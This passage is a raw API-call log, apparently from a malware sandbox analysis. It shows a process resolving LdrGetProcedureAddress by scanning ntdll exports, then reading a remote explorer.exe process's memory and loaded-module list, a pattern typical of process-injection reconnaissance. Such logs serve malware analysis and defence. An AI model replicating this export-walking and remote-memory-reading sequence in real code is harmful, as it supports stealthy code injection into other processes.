lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgPrint", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0044.483] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="KiFastSystemCall", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="KiFastSystemCallRet", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="KiIntSystemCall", lpString2="LdrGetProcedureAddress") returned -1 [0044.484] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0044.485] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrGetProcedureAddress") returned 0 [0044.485] VirtualFree (lpAddress=0x9ca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0044.491] NtQueryInformationProcess (in: ProcessHandle=0x1210, ProcessInformationClass=0x1a, ProcessInformation=0x6adf1d0, ProcessInformationLength=0x8, ReturnLength=0x6adf1c0 | out: ProcessInformation=0x6adf1d0, ReturnLength=0x6adf1c0) returned 0x0 [0044.491] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x200) returned 0x986faf0 [0044.491] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x88) returned 0x986fd00 [0044.491] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7efde000, Buffer=0x986fd00, NumberOfBytesToRead=0x14, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd00*, NumberOfBytesRead=0x6adf1c0*=0x14) returned 0x0 [0044.491] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77440200, Buffer=0x986fd14, NumberOfBytesToRead=0x24, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd14*, NumberOfBytesRead=0x6adf1c0*=0x24) returned 0x0 [0044.491] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c24a0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2520, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2860, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2948, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3060, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3128, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c34a8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3308, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cdd90, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce660, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce728, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7f0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce8b0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce978, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cea40, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef08, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.492] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cefd0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf0b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf138, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf1b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf238, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf2b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf338, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf3b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf438, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf4b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf538, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf5b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf638, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf6b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf738, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.493] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf7b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.494] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf838, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.494] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986faf0 | out: hHeap=0x9770000) returned 1 [0044.494] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fd00 | out: hHeap=0x9770000) returned 1 [0044.494] VirtualAlloc (lpAddress=0x0, dwSize=0x2524, flAllocationType=0x3000, flProtect=0x4) returned 0x4070000 [0044.494] NtQueryInformationProcess (in: ProcessHandle=0x1210, ProcessInformationClass=0x1a, ProcessInformation=0x6adf1d0, ProcessInformationLength=0x8, ReturnLength=0x6adf1c0 | out: ProcessInformation=0x6adf1d0, ReturnLength=0x6adf1c0) returned 0x0 [0044.494] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x200) returned 0x986faf0 [0044.494] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x88) returned 0x986fd00 [0044.494] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7efde000, Buffer=0x986fd00, NumberOfBytesToRead=0x14, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd00*, NumberOfBytesRead=0x6adf1c0*=0x14) returned 0x0 [0044.494] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77440200, Buffer=0x986fd14, NumberOfBytesToRead=0x24, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd14*, NumberOfBytesRead=0x6adf1c0*=0x24) returned 0x0 [0044.494] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c24a0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.494] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c18b8, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.495] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2520, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c25a0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.495] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2860, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2810, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.495] StrRChrA (lpStart="C:\\Windows\\syswow64\\kernel32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\kernel32.dll" [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2948, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c28f8, Buffer=0x986faf0, NumberOfBytesToRead=0x44, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x44) returned 0x0 [0044.495] StrRChrA (lpStart="C:\\Windows\\syswow64\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3060, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3010, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.495] StrRChrA (lpStart="C:\\Windows\\syswow64\\ADVAPI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ADVAPI32.dll" [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3128, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c30e0, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.495] StrRChrA (lpStart="C:\\Windows\\syswow64\\msvcrt.dll", lpEnd=0x0, wMatch=0x5c) returned="\\msvcrt.dll" [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c34a8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3460, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.495] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0044.495] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3308, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3298, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.496] StrRChrA (lpStart="C:\\Windows\\syswow64\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) 